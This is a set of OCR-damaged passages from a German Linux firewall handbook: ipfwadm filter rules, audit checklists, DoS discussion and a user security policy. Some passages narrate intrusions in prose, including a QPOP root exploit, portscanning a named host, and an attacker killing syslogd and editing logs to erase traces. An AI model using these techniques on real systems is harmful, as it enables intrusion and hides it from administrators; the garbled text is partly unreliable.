Zugriffsrechte auf das Betriebssystem weitestgehend zu begrenzen Unter UNIX ist dies dank der Modularit t und der Unabh ngigk
460. nistrator Pa wortes des LINUX Servers bin Der Useraccount funktionierte jedoch noch Beim Durchsuchen einiger WWW Seiten auf Ver nderungen stellte ich fest da hier Seiten ver ndert wurden Dieser Server wurde gehackt und komplett bernommen stand auf der Frontpage gro und breit Das Problem ist nur da von diesen WWW Sites ebenfalls die Pa worte ver ndert waren Es schien da die peinichen Ver nderungen bis zum Montag morgen so stehen bleiben mu ten Die Frage war aber wie der Hacker in den Server einbrechen konnte Also wurde die Site http www rootshell com durchsucht Der EXPLOIT war schnell gefunden es war der QPOP2 Exploit f r den POP3 Server und auf den WWW Server in das User Verzeichnis kopiert Der Exploit wurde kompiliert und auf den eigenen Server angesetzt Ich falle direkt in eine ROOT Shell hinein und besitze nun die Supervisor Rechte Zuerst mu einmal das Rootpa wort wiederhergestellt werden Das Kommando passwd root funktioniert nicht aus irgendeinem unverst ndlichen Grund Als Alternative bleibt also nur einen Eintrag eines anderen Accounts mit dem verschl sselten Pa wort in die Zeile von root in der Datei etc shadow zu kopieren Ich kopiere also das verschl sselte Pa wort meines Useraccounts in die Zeile des Users root und versuche mich ber meinen Useraccount als ROOT einzuloggen Es funktioniert Nun durchsuche ich alle betroffenen Homepages auf Ver nderungen find home mtime 1 Einige WWW
461. nistrator benachrichtigt K nnen Server untereinander kommunizieren ber welche Ports Dienste Sicherheit der Authentifizierungsmechanismen RONS oND Sind die Pa worte so gew hlt da ein dictionary attack erfolglos ist Wird dieses regelm ig berpr ft Sind gleiche Pa worte f r unterschiedliche Protokolle im Einsatz Werden Pa worte verschl sselt Wie wird das berpr ft Ist ein replay attack m glich G ltigkeit der Zufallszahl challenge Beispiel SMB Wie wird das berpr ft Werden Pa worte zentral verwaltet Wie sind die beteiligten Server abgesichert Ist bei Anderung des Pa wortes evtl das alte Pa wort noch g ltig verz gertes Update in verteilten Umgebungen Windows NT NIS Kerberos Wie erfolgt die Synchronisation der Pa worte in einer verteilten Umgebung welche Protokolle werden benutzt Sind Directory Services NDS LDAP NIS YP ActiveDirectory im Einsatz Wie sind diese DS abgesichert Welche Dienste benutzen welche Arten der Authentifizierung Werden Daten verschl sselt bertragen Ist session hijacking m glich SMB TELNET SMNP Sind buffer overflows m glich Erkennen von Ereignissen arwoNns D ber welche Ereignisse wird der Systemadministrator informiert Wie wird der Systemadministrator Vertreter informiert Existiert dar ber eine Archiv Datei Werden Ereignisse miteinander kombiniert und ausgewertet Kann der mom
462. nmerkungen zu den Regeln Eingehende Anfrage ber UDP Client an Server 2 Antwort auf eingehende UDP Anfrage Server an Client 3 Eingehende Anfrage ber TCP Client an Server ACK gesetzt au er im ersten Paket 4 Antwort auf eingehende TCP Anfrage Server an Client ACK gesetzt 5 Ausgehende Anfrage ber UDP Client an Server 6 Antwort auf die ausgehende UDP Anfrage Server an Client 7 Ausgehende Anfrage ber TCP Client an Server ACK gesetzt au er im ersten Paket 8 Antwort auf die ausgehende TCP Anfrage Server an Client ACK gesetzt 9 Anfrage oder Antwort zwischen zwei Servern ber UDP 10 Anfrage oder Antwort zwischen zwei Servern ber UDP 11 Anfrage eines externen Servers an einen internen Server ber TCP Anforderung eines Zonen Transfers vom externen sekund ren Server ber TCP ACK gesetzt au er im ersten Paket 12 Antwort des internen Servers an den externen Sever ber TCP Antwort des Zonen Transfers an den externen sekund ren Server ber TCP ACK gesetzt 13 Anfrage des internen Servers an den externen Server ber TCP ACK gesetzt au er im ersten Paket 14 Antwort des externen Servers an den internen Server ber TCP ACK gesetzt DNS Filterregeln f r innere Firewall Diese Konfiguration beschreibt die Filterregeln der inneren Firewall zwischen dem DNS Server im Intranet und dem DNS Server auf dem bastion host im Grenzneiz Regel Richtung Protokoll Quellport Zielport Kommentar 1 _ Basti
463. nn Interface mit PERL PHP ASP zu SQL oder auch NEWS lesen kann Wer diesen Dienst freigibt der sollte in den Interfaces geeignete Filter vorsehen Siehe hierzu auch das Kapitel Absicherung von WWW Servern durch PERL 18 7 Datenbank Dienste Einige Datenbank Dienste sind leider etwas veraltet Bei SQL schien es mir notwendig einmal ein Beispiel eines Einbruchs ber eine SQL Datenbank zu demonstrieren da hier ber kaum etwas im Internet bekannt ist Aufgrund der Komplexit t der Absicherung von SQL Datenbanken das trifft dann auch auf Backoffice zu wurde dies zu einem eigenen Kapitel SQL Datenbank Angesichts der gro en Bedeutung von SQL Datenbanken in Unternehmen wurde diesem Protokoll ein eigenes Kapitel Absicherung von SQL Datenbanken gewidment GOPHER Datenbank GOPHER ist ein Dienst auf Basis von TCP GOPHER Clients benutzen Portnummern ber 1023 Die meisten GOPHER Server benutzen Port 70 Regel Richtung Protokoll Quellport Zielport Erg nzungen 1 ein TCP gt 1023 70 SYN ACK 2 aus TCP 70 gt 1023 ACK 3 aus TCP gt 1023 70 SYN ACK 4 ein TCP 70 gt 1023 ACK Anmerkungen zu den Regeln 1 Eingehende Sitzung Client an Server ACK gesetzt au er im ersten Paket 2 Eingehende Sitzung Server an Client ACK gesetzt 3 Ausgehende Sitzung Client an Server ACK gesetzt au er im ersten Paket 4 Ausgehende Sitzung Server an Client ACK gesetzt WAIS Datenbank WAIS ist ein Dienst auf Basis von TCP WA
464. nnen heraus zu ffnen Im Grunde mu also eine Firewall die eine SQL Datenbank sichern soll gegen Angreifer von au en und innen sch tzen Ein PROXY der Inhalte filtern kann ist bei ORACLE erh ltlich PERL Skripte tun s im Prinzip aber auch Man findet auf http Awww perl org CPAN einige Hinweise auf Filter Es gibt aber noch einige Probleme mit den neuen JDBC Treibern von ORACLE 8i Der JDBC Thin Driver ist ein Klasse 4 Treiber und erfordert folgende Besonderheit hier ein Zitat von ORACLE In Netscape 4 0 this involves signing your applet then opening your connection as follows Please refer to your browser documentation for the many details you have to take care of netscape security PrivilegeManager enablePrivilege UniversalConnect connection DriverManager getConnection jdbc oracle thin scott tiger dlsun511 1721 orcl Firewall Considerations The JDBC Thin driver cannot connect to a database from behind a firewall The firewall prevents the browser from opening a TCP IP socket to the database This problem can be solved by using a Net8 compliant firewall and using connect strings in the applet that are compliant with the firewall configuration This solution really only works for an intranet because the connect string is dependent on the firewall behind which the client browser is running ORACLE ist ja nun auch unter LINUX und FreeBSD das ist das Betriebssystem des geheimnisvollen Oracle 8i Database Servers
465. nt 20 21 ipfwadm I a accept P tcp k W EXTERNES_INTERFACE S ANYWHERE 21 D IPADDR UNPRIVPORTS ipfwadm I a accept P tcp W EXTERNES_INTERFACE S ANYWHERE 20 D IPADDR UNPRIVPORTS PASV FTP Erstellt von Doc Gonzo http kickme to plugins ipfwadm I a accept P tcp k W EXTERNES_INTERFACE S ANYWHERE UNPRIVPORTS D IPADDR UNPRIVPORTS WHOIS client 43 ipfwadm I a accept Ptcp k W EXTERNES_INTERFACE S ANYWHERE 43 D IPADDR UNPRIVPORTS UDP f r DHCP Clients ipfwadm I a accept Pudp W EXTERNES_INTERFACE S DHCP_SERVERS 67 D IPADDR 68 ipfwadm I a accept Pudp W EXTERNES_INTERFACE S DHCP_SERVERS 67 D BROADCAST_1 68 ipfwadm O a accept P udp o W EXTERNES_INTERFACE S BROADCAST_0 68 D DHCP_SERVERS 67 DHCP IP Vergabe ipfwadm I a accept Pudp W EXTERNES_INTERFACE S BROADCAST_0 67 D BROADCAST_1 68 REBINDING bei DHCP ipfwadm O a accept P udp W EXTERNES_INTERFACE S BROADCAST_0 68 D BROADCAST_1 67 ipfwadm I a accept P udp W EXTERNES_INTERFACE S DHCP_SERVERS 67 D ANYWHERE 68 ipfwadm I a deny P udp W EXTERNES_INTERFACE S ANYWHERE 67 D IPADDR 68 NTP TIME clients 123 ipfwadm I a accept P udp W EXTERNES_INTERFACE S dominator eecs harvard edu 123 D IPADDR UNPRIVPORTS Logging explizit f r ipfwadm I a deny o P tcp W EXTERNES_INTERFACE D IPADDR ipfwadm I
466. ntelligentem Timing und Timeouts zu tun haben Wer also sicher sein m chte da keine der o a Probleme entstehen sollten der sollte BSD UNIX SOLARIS 2 6 2 7 LINUX 2 2 Kernel OS 2 oder die SF Firewall unter LINUX einsetzen LINUX 2 0 mit IPFWADM oder IPCHAINS ist hierf r v llig ungeeignet ebenso wie alle Windows NT basierten Firewalls da NT nicht ber intelligente Mechanismen wie FAST RETRANSMIT SACK verf gt F r den Einsatz im Intranet oder als Firewall Router zur Anbindung eines Unternehmens spielen diese Betrachtungen keine Rolle Das gr ere Problem bei ISP s ist die Speicherung von LOG Dateien Intelligente DoS Angriffe k nnen bei einer 2 MBit Anbindung dazu f hren da jede Sekunde die Daten von 500 neuen Verbindungen gespeichert werden m ssen Das sind pro Tag ca 2 GByte an Daten Es reicht also die Firewall mit 100 GByte Festplattenplatz auszur sten Billige AT Erstellt von Doc Gonzo http kickme to plugins BUS Festplatten mit je 25 GByte Kapazit t zum Preis von 4x600 DM reichen hier v llig aus um die gesetzlichen Vorschriften erf llen zu k nnen Erfahrungsgem reicht ein AMD 350 MHz mit 128 MByte RAM und 100 GByte Festplatte 2x 100 MBit Karten und LINUX Firewall v llig aus um eine 2 MBit Anbindung zu berwachen Der Gesamtpreis bel uft sich ca auf 5 000 DM Etwas geringer sind die Anforderungen bei DIAL IN Routern Um 30 ISDN Leitungen mit einer Firewall abzusichern reicht ein P166 mit 64 MBy
467. ntwickler des IP Filter der BSD Kernel offensichtlich viel zur Stabilit t des LINUX TCP IP Stacks beigetragen hat e Robert Muchsel und Harald Schmidt die durch Ihre Diplomarbeit 1996 der Entwicklung der SF Firewall mir und hoffentlich vielen anderen auch tiefe Einblicke in die Funktionsweise von Firewalls gegeben haben e Harald Weidner von der Universit t Z rich der die SF Firewall und deren Nachfolger der SINUS Firewall weiter betreut stets f r Fragen und Probleme ein offenes Ohr hat und die Mailing Liste flei ig betreut Erstellt von Doc Gonzo http kickme to plugins e Jennifer Myers die durch den Aufbau und Betreuung der ber hmten BUGTRAQ Liste unter http www geek girl com seit 1993 einen entscheidenden Beitrag zur Sicherheit von Betriebssystemen geleistet hat e ALEPH1 dem Cracker von Systemen und Entwickler vieler unangenehmen Exploits schlechthin oft zu finden auf der BUGTRAQ Mailingliste Er hat viele Sicherheitsl cken in GNU Software und auch kommerzieller Software berhaupt transparent gemacht e Steven M Bellovin der seit vielen Jahren Mitentwickler der fortgeschrittenen TCP IP Stacks mit all Ihren wunderbaren Eigenschaften FAST RETRANSMIT SACK ist e Wietse Venema der durch die Entwicklung des TCP Wrappers und vieler anderer Software zur Sicherheit von UNIX mit beigetragen hat e Steven McCanne und Van Jacobsen f r die Entwicklung der BSD Socket Filter und deren Portierung auf LINUX Linux So
468. nur minimalen Userrechten l uft ein Sicherheitsrisiko Das betrifft insbesondere LINUX Server Bei anderen Betriebssystemen sind diese Eigenschaften in den jeweiligen trusted Varianten der Betriebssysteme bekannt Trusted Solaris Trusted Xenix Diese verf gen neben diesen Eigenschaften auch ber erweiterte Logging Funktionen Unter NT 3 50 nicht 3 51 oder 4 0 existiert eine C2 Zertifizierung Diese hat keinen Aussagewert bez glich m glicher buffer overflows Wieviele buffer overflows k nnen in einem Programm auftreten Genaugenommen liegt es an der Sorgfalt der Programmierer berlange Strings bei der bergabe von Daten heraus zu filtern Man darf aber nicht vergessen da schon ein einfacher Dienst pop3 eine gr ere Zahl von Befehlen unterst tzt Die ver ffentlichten exploits beziehen sich immer nur auf einen Befehl Wie bei dem qpopper passiert wurde kurz nachdem QUALCOMM das Problem beseitigt hatte ein neuer exploit ver ffentlicht Es ist unbedingt damit zu rechnen da stets neue buffer overflows entdeckt werden Da einige D monen auch Informationen an andere weiterleiten DNS oder POP3 an MAILSERVER so ist es auch m glich da eingeschleuste Informationen z B im Mail Erstellt von Doc Gonzo http kickme to plugins Header einen buffer overflow in einem anderen Programm verursachen D monen sollten stets nach dem KISS Prinzip programmiert werden Keep It Small and Simple Einige Hersteller wie z B
469. nwartung ber ISDN nicht absolut sicher gestalten kann Jedoch wenn man bedenkt da es nur sehr wenige Cracker mit TK Anlagenanschlu in demselben Ortsbereich gibt die buffer overflows f r den IPPPD konstruieren k nnen um somit in die Firewall vorzudringen kann man behaupten da diese Art der Fernwartung doch recht sicher ist Die einfachste und beste L sung ist die Installation des PPTP Servers der im Kapitel PPTP unter Windows und LINUX beschrieben wird Sowohl die Client Software als auch die Serversoftware ist kostenlos Damit kann der komplette IP Traffic zwischen Arbeitsstation und Firewall verschl sselt bertragen werden Eine preisewertere IPSec L sung f r ein Unternehmen gibt es nicht 14 Die SINUS Firewall 1 Die SINUS Firewall ist nach modernen Kriterien des stateful paket filtering entworfen worden SPF Firewalls zeichnen sich besonders durch ihre hohe Geschwindigkeit bei der Absicherung von Hochgeschwindigkeits Netzwerken aus F r h chste Leistungsanforderungen besteht die M glichkeit mehrere dieser Firewalls parallel im Cluster zu betreiben ber ein eigenes Austauschprotokoll werden so Zustandsinformationen ber bestehende Verbindungen ausgetauscht Die einfache Bedienung ber die grafische Benutzeroberfl che unter JAVA erm glicht die Fernwartung und berwachung gro er Netzwerke Durch den Einsatz von Log Auswertungsprogrammen ist es somit m glich gro e Netzwerke in Echtzeit vollst ndig zu berwach
470. ny 0 53 D INTRA1 53 Dieser Test pr ft die eingehenden Regeln f r UDP Pakete an dem Interface eth0 ob es DNS Pakete hineinl t ipfwadm I c k P tcp W ethO V INTERXY S any 0 20 D INTRA1 6000 Hier wird getestet ob Pakete mit ACK Bit also der Datenstrom nach einem Verbindungsaufbau aus dem Intranet von Port 20 eines Hostes aus dem Internet zu einem Host auf Port 6000 im Intranet erlaubt ist 10 5 Zahlen von Paketen Accounting Das Zahlen von Paketen ist recht einfach Hier ein Beispiel ipfwadm A a P tcp S 0 0 D 10 0 0 1 21 ipfwadm A a P tcp S 0 0 D 10 0 0 1 20 ipfwadm A a P tcp S 10 0 0 1 21 D 0 0 ipfwadm A a P tcp S 10 0 0 1 20 D 0 0 Dieses Beispiel z hlt den FTP Traffic zum und vom Server 10 0 0 1 nach berall hin Port 20 ist der Datenkanal ber den die Pakete laufen Port 21 ist der Verbindungskanal f r FTP Die Option A steht f r Accounting die Option a f r append Werden die Accounting Regeln gerade neu aufgesetzt so mu das a durch i ersetzt werden Die Regeln kann man mit ipfwadm Af alle geleichzeitig l schen Zum L schen von einzelnen Regeln lesen Sie bitte die Hilfe durch ipfwadm h oder schauen Sie auf der Site http www xos nl das ausf hrliche Handbuch durch ipfwadm A a P tcp S 0 0 D 10 0 0 1 53 ipfwadm A a P udp S 0 0 D 10 0 0 1 53 ipfwadm A a P tcp S 10 0 0 1 53 D 0 0 ipfwadm A a P udp S 10 0 0 1 53 D 0 0 Erstellt von Doc Gonzo http kickme to p
471. nz hligen Angreifer die neue exploits mal testen wollten Abhilfe schafft nur eine vollst ndige Reassemblierung der TCP IP Pakete oder der Einsatz eines Proxy Nachteil dieser L sung ist ein enormer Einbruch in der Performance der den Vorteil der SPF Firewalls v llig zunichte macht Dies zeigt aber da Firewalls keineswegs perfekt sind Will man solchen Angriffen zuvorkommen so ist man als Betreiber eines mission critical Systems auf die st ndige Betreuung eines Experten angewiesen Da von diesem Angriff nur spoofende Versionen existieren k nnen die T ter oft nicht aufgesp rt werden DoS Angriffe auf Netzwerkscanner Sniffer und IDS Systeme Themen Trace einer TCP IP Verbindung Gespoofte SYN Pakete und Taubheit des Sniffers Einschleusung von falschen Pr fsummen zur Irref hrung RST und berpr fung von Sequenznummern Gespoofte RST Pakete Anderung der Paketl ngen Werkzeuge zur Erzeugung der Pakete Entgegen aller Vermutungen k nnen Netzwerkscanner Sniffer und IDS Intrusion Detection Systems auch einem DoS Angriff zum Opfer fallen Grund daf r ist da Sniffer stets auf dem Kernel des Betriebssystems aufsetzen und von diesem abh ngig sind Erstellt von Doc Gonzo http kickme to plugins Sniffer m ssen einen eigenen TCP IP Stack besitzen da ihnen ansonsten kein Trace einer Netzwerkverbindung zwischen zwei Rechnern im Netz gelingen w rde Die meisten freien und kommerziellen Scanner haben dabei ein kleines Proble
472. nzo http kickme to plugins Moderne Kernel f hren zus tzliche Statistiken ber die Latenzzeiten zu bestehenden IP Verbindungen RTT und regeln so differenziert die Zeiten der maximalen Verweildauer von TCP IP Paketen im Stack Ohne Differenzierung w rden entweder langsame Verbindungen verworfen oder der Kernel gegen DoS Angriffe verletzbar werden Der BSD 4 4 TCP IP Stack BSD UNIX OS 2 ist ein Garant f r hohe Serverleistung z B f r mission critical Aufgaben im Internet wo h chst unterschiedliche Bandbreiten auf einmal auftreten BSD Stacks wurden in der Reihenfolge ihrer fortschreitenden Entwicklung mit Tahoe Reno und Vegas bezeichnet Bei Geschwindigkeitstest der einzelnen Betriebssysteme werden immer wieder mit Hilfe von Benchmarks auf WWW Server die Geschwindigkeit von Serverbetriebssystemen und deren WWW Servern getestet Windows NT 4 0 erreichte hier berdurchschnittliiche Werte bei den Antwortzeiten fiel jedoch durch eine hohe Fehlerrate auf OS 2 Warp gl nzte mit konstanten jedoch langsameren Responsezeiten lieferte die Daten aber auch ohne jeden Fehler aus Die im Labor ermittelten Werte lassen sich jedoch keinesfalls mit den realen Anforderungen im Internet oder Unternehmensnetzwerk vergleichen In der Praxis ist OS 2 um ein vielfaches stabiler und schneller als NT 4 0 welches die unerfreuliche Eigenschaft hat ab ca 30 simultanen Verbindungen v llig einzubrechen OS 2 SUN Solaris FreeBSD NetBSD B
473. o name notification_section notification level value spoof entry 1 level value spoof entry 1 Erstellt von Doc Gonzo http kickme to plugins entry message mm text nun GALEI text nnn syslog report mail mailaddress es spy exec command relevel value call value if variable value lt gt 1 variable value then entry endif let variable value destport variable value variable timeout seconds dynamic_rule timeout seconds Wwe variable name qualifier qualifier sourcehost desthost special keywords allowed in dynamic_rule eurrentprotocol uses protocol of actual packet sourcehost uses source host address sourcenet uses source net address desthost uses destination host address destnet uses destination net address Hier nun einige Beispiele die zeigen wie leistungsf hig diese Programmiersprache ist Zuerst sollte man sorgf ltig die Syntax studieren In diesem Abschnitt wird ein praktisches funktionierendes Beispiel einer Konfiguration beschrieben Es ist als Konfigurationsfile in der Distribution unter samples zu finden setup internalnets 193 194 195 0 mail_default adm x y z rules Some simple alarming rules to detect hackers block tcp to
474. o Tausende von simultanen Zugriffen pro Sekunde im RAM verwalten k nnen Hierzu mu der LINUX Kernel speziell f r eine gro e Zahl von halboffenen Verbindungen vorbereitet werden Hierzu ist die Variable SOMAXCONN in der Datei usr sre linux include linux socket h von 128 auf eine h here Zahl gesetzt werden Bevor man aber den Maximalwert von 65535 einsetzt sollte man sich berlegen wieviel RAM jede halboffene Verbindung verbraucht Reicht das RAM nicht aus so f ngt die Firewall an den SWAP Speicher zu bem hen was zu einem v lligem Performanceeinbruch f hren kann Jede TCP Verbindung beansprucht im RAM einen Puffer der bei LINUX je nach Kernel Version und Prozessortyp schwankt Der Standardwert liegt bei etwas ber 1 KByte Die Werte schwanken jedoch auch von Betriebssystem zu Betriebssystem Genaue Angaben von kommerziellen Herstellern bekommt man derzeit nur von SUN oder halt von OpenSource Firewalls wie TIS FWTK NAI JUNIPER Firewall oder GENUAWALL Unter NT sind solche Angaben nur schwierig zu bekommen Problematisch ist der Zugriff von Browsern auf Server Uber die Firewall hinweg in vielen F llen ffnet der Browser viele simultane Verbindungen zum Server Spricht der Server nur HTTP 1 0 dann wird die Firewall erheblich belastet Im Falle dessen daB die Server mit neueren IIS APACHE Servern ausger stet sind die HTTP 1 1 konform sind werden alle Grafiken und HTML Seiten in einen einzigen Datenstrom TCP Verbindung verp
475. obbelazzo com preference 5 mail exchanger NS nobbelazzo com Authoritative answers can be found from nobbelazzo com nameserver NS nobbelazzo com nobbelazzo com nameserver NS2 EU CONCERT NET NS nobbelazzo com internet address 195 99 32 6 NS2 EU CONCERT NET internet address 195 99 65 212 Ok ein bastion host aber welche Ports sind ge ffnet root www stepken portscan ns nobbelazzo com 1 1024 No route to host root www stepken portscan ns nobbelazzo com 25 26 25 No route to host root www stepken portscan ns nobbelazzo com 53 54 53 No route to host root www stepken portscan ns nobbelazzo com 55 56 No route to host root www stepken portscan ns nobbelazzo com 8080 8081 8080 No route to host Was soll uns das sagen Aus dem E Mail Header entnimmt der Angreifer da SMAP V1 3 unter UNIX installiert wurde also das TIS FWTK in der Version V1 3 installiert wurde Der erste Test portscan 1 1024 wird abgeblockt ein Hinweis auf Firewall 1 die vorgeschaltet wurde F ngt der Angreifer aber an von dem vermutlich aktiven Port aus zu scannen bekommt er doch einen eindeutige Aussage Man achte auf das Echo bei portscan 25 26 Auf dem bastion host sind ein PROXY CACHE Ein E Mail D mon und ein DNS Server installiert Port 25 53 8080 Der Angreifer hat also Informationen mit Hilfe des Portscanners erhalten obwohl die Firewall angeblich Portscans verhindert Mit Erstellt von Doc
476. obleme der von ihm anvertrauten Software und Hardware zu informieren und Sicherheits Updates schnellstm glich zu installieren Falls ungel ste Sicherheitsprobleme existieren mu abgesch tzt werden welche Auswirkungen zu erwarten sind Im Ernstfall k nnte es notwendig sein Software zu deinstallieren oder bestimmte Dienste zu sperren 28 2 Beispiel Security Policy f r User F r einen normalen Benutzer sind diese Vorg nge nicht zu verstehen Daher sollen diese Vorschriften einfach nur auflisten was ein Benutzer hinter einer Firewall darf und was er nicht darf Dieses Beispiel sollte nur als Vorschlag dienen wie man eventuell dem DAU D mmsten Anzunehmenden User mitteilt was er darf und war er nicht darf Installation von Software Erstellt von Doc Gonzo http kickme to plugins Die eigenm chtige Installation von Software aus beliebigen Quellen ist verboten Falls der Einsatz zus tzlicher Software notwendig sein sollte ist dies alleinige Sache des Systemadministrators Falls beim anklicken eines Programms ein Installationsmen erscheint ist der Vorgang sofort abzubrechen Ver nderungen im System 1 2 3 Programme die beim Starten des Rechners geladen sind d rfen nicht beendet werden insbesondere Virenscanner u s w Netzwerkeinstellungen d rfen nicht ver ndert werden Es d rfen keine Dienste oder Benutzergruppen dem System hinzugef gt werden Dies ist alleinige Sache des Systemadministrators
477. ode echt ist Dieser legt keine zweite tempor re Datei an die dan sp ter gel scht wird Dateien sondern dieser kann eine Log Datei in Echtzeit ver ndern w hrend der SYSLOGD diese weiter beschreibt Das einzige was hier nun eventuell noch geholfen hatte ist das byteweise Auslesen der gesamten Fesiplattenpartition mit dd if dev sda1 of dev Dieses h tte vielleicht noch Reste hervorgebracht ich denke aber da der SYSLOGD gerade dabei war diese zu berschreiben Tja ohne Beweise keine M glichkeit den T ter zu finden Die Polizei wird also nicht verst ndigt Am n chsten Morgen f hrt auch ein Anruf bei dem Betreiber des PROXY zu keinem Ergebnis da dieser nicht nur einen PROXY betreibt sondern auch noch Analog Zug nge in die man sich ohne Pa wort einloggen darf halt Testzug nge Am Abend dieses Montages beschlagnahmt die Staatsanwaltschaft diesen Server Es ist angeblich von diesem aus in den Server des Bundesverkehrsministeriums eingebrochen worden Die Festplatte dort wurde gel scht Im Radio wird zuf lligweise genau an diesem Montag aus berichtet da auch in den FDP Server eingebrochen wurde Es stand dort auf der ersten Seite geschrieben 4 9 sind genug Erstellt von Doc Gonzo http kickme to plugins Die nachfolgende Untersuchung im Landeskriminalamt D sseldorf ergibt auch keine neuen Ergebnisse Keine Befunde eines Einbruchs in und von diesem Server aus da die Festplatte mit dem Betriebssys
478. of its gt gt users gt gt gt gt NeoPlanet does not masquerade as one program while acting gt surreptitiously as gt gt another nor does it inherently threaten the user or the user s gt computer gt gt Indeed all of NeoPlanet s basic functions are clearly stated to the user gt gt before the application is activated and the application itself poses no gt gt threat to users gt gt gt gt The allegedly surreptitious stringers noted on your site are Erstellt von Doc Gonzo http kickme to plugins gt actually part gt gt of a clearly stated function of the NeoPlanet application which gt described gt gt within the NeoPlanet Privacy Statement This function is part of gt gt NeoPlanet s ad serving and software updating capabilities gt which are neither gt gt surreptitious nor destructive gt gt gt gt NeoPlanet provides prominent links to this Statement before and gt after the gt gt registration process both from within the application and on gt the NeoPlanet gt gt Web site to insure user consent Please refer to the Privacy Statement gt gt linked from the NeoPlanet main page www neoplanet com or go gt directly to gt gt the below URL for details on the NeoPlanet functions in question gt gt http www neoplanet com user_central privacy index html gt gt gt To date there are nearly 3 million copies of NeoPlanet in distribution
479. ofing Angriffe von einem benachbarten Arbeitsplatzrechner der einen session hijacking Angriff ausf hrt Offiziell besitzen Firewall Router Mechanismen gegen spoofing sie k nnen aber da sie keine Statusinformationen ber Details einer Verbindung besitzen spoofing Angriffe nur zwischen der inneren und u eren Netzwerkadresse erkennen Ein typischer Vertreter dieser Firewall Router der sich gut zu Studienzwecken eignet ist z B LINUX F r die Kontrolle von gr eren Netzwerken eignet sich dieser Typ von Firewall Router nicht mehr Stateful Paket Filter SPF St rken Hohe Geschwindigkeit teilweise Keine offenen Ports Ausf hrliche LOG Informationen Ausf hrliche Zustandsinformationen ber alle Verbindungen F higkeit f r Clustering Schutz gegen Scanner counter intelligence Einfache Wartung und Installation Einsetzbar in gro en Netzwerken Skalierbar Eigene Programmiersprache Vielseitig einsetzbar Schw chen Bieten wenig Schutz vor TCP Angriffen Teilweise keinen eigenen TCP IP Stack Zuwenig Kenntnis von Protokollen h ufig kein echter Schutz Proxy nur f r einige wenige Protokolle verf gbar Keine Authentifizierung jedoch nachr stbar Teuer in Anschaffung und Unterhaltung Einbruch der Performance bei Aktivierung aller Filter Stateful Paket Filter sind als besonders schnelle Filter bekannt In Geschwindigkeitstests schneiden sie stets hervorragend ab und eignen sich scheinbar besonders f r den Einsatz be
480. ogix Hamburg http www topologix de BorderWare Firewall Server e Wick Hill Hamburg M nchen D sseldorf http www wickhill com WatchGuard Firebox e WWL Connect Online Services GmbH N rnberg http wwi de Firewalls und Internet Security e ZKOM GmbH Dortmund http www zcom de Firewall allgemein e Xenologics K ln http www xnc com GNAT Wall CISCO FLUX Erstellt von Doc Gonzo http kickme to plugins 5 Einf hrung Die hier beschriebenen Firewalls haben wie brigens alle Firewalls einige Schw chen Da die hier beschriebenen Firewalls aber weder im kommerziellen Konkurrenzkampf um Marktanteile stehen noch irgendeinem Termindruck des Marketings unterworfen sind besteht also auch kein Grund dem Leser irgendwelche Informationen ber Schw chen und St rken von LINUX Firewalls vorzuenthalten Somit kann diese Dokumentation insbesondere der Entscheidungsfindung bei der Auswahl ausgewachsener Firewalls dienen Das soll nicht bedeuten da Firewalls unter LINUX schlechter als kommerzielle sehr teure Firewall w ren diese schlechteren Support genie en w rden oder fehlerhafter als die kommerziellen Firewalls w ren eher im Gegenteil Das eigentliche Problem ist da noch EDV Entscheider entlassen worden ist weil er eine Borderware oder Checkpoint Firewall eingesetzt hat Im Falle eines nachgewiesenen Angriffs auf das Unternehmen w rde dieses dann als Schicksal von der Unternehmensleitung interpretiert beim
481. omain 30 7 Gefahrliche Operationen Folgende Operationen sind nicht zugelassen wenn sie von einer kontaminierten Variable abhangen Kommandos die direkt oder indirekt eine Shell aufrufen Operationen die Dateien oder Verzeichnisse modifizieren und Operationen die Prozesse beeinflussen W hrend es somit nicht m glich ist eine Datei mit einem kontaminierten Namen zum Schreiben zu er ffnen w rde dies sehr wohl beim lesenden Zugriff erlaubt sein obwohl auch dies ein Risiko darstellen kann z B bei etc shadow 5 Insofern ist es sehr sinnvoll selbst bei kritischen Operationen mit Hilfe des Taint Moduls zu berpr fen ob Abh ngigkeiten vorliegen 6 croak insecure operation if tainted var 7 Hingegen ist Perl sehr pingelig bei der Ausf hrung von Kommandos das ist praktisch unm glich solange ENV PATH nicht auf einen nicht kontaminierten Wert gesetzt worden ist Pons 30 8 Hinweise auf weiterfuhrende Literatur 1 Grunds tzlich empfiehlt es sich immer die aktuelle Literatur und insbesondere die aktuellen Sicherheitshinweise zu lesen perlsec Manualseite 2 DFN CERT http www cert dfn de 3 The World Wide Web Security FAQ http www w3 org Security Faqg www security fag html 4 BUGTRAQ Mailing Liste echo SUBSCRIBE BUGTRAQ mail LISTSERV NETSPACE ORG Archiv http www netspace org Isv archive bugtraq html Archiv von Best of Security ftp ftp cyber com au pub archive b o s Securit
482. ompilieren Nun wird er auf dem Server www domain com einen ICMP Scanner installieren und starten um aufgrund der ping Pakete ICMP die eventuell dynamische IP Nummer es Firewallrouters feststell en zu k nnen Der ICMP Scanner ist ein wenig modifiziert er reagiert auf ein ping mit einem kontinuierlichen back ping hnlich backfinger um die ISDN Verbindung offenzuhalten Nun verpackt der den Exploit als Attachment in eine E Mail und adressiert es an einen beliebigen Benutzer hinter der Firewall In der sicheren Hoffnung da ein Benutzer diese E Mail lesen wird und neugierig das Programm startet lehnt er sich zur ck und wartet Nach einiger Zeit schaut er nach ob sein Back Ping angeschlagen hat Ist das der Fall so wird sein Portscanner zeigen da der Firewall Router alle internen Ports nach au en ge ffnet hat ipfwadm If Die ISDN Leitung bleibt also solange ge ffnet bis der Angreifer Zeit hat sich um sein Opfer zu k mmern Mit Hilfe des QPOP exploits wird er ein zweites mal den POP D mon bem hen um vollen root Zugriff auf die Firewall zu haben Um keine Spuren zu hinterlassen mu er mit dem Signalh ndler kill den SYSLOGD vor bergehend anhalten Mit Hilfe des vi weil er I Node Echt wichtig und berall zu finden ist wird er seine Spuren in den Logfiles verwischen Die Inode Echtheit ist deswegen besonders wichtig weil man w hrend der LOG D mon in die Datei schreibt Teile aus dieser gleichzeitig l schen kann Ed
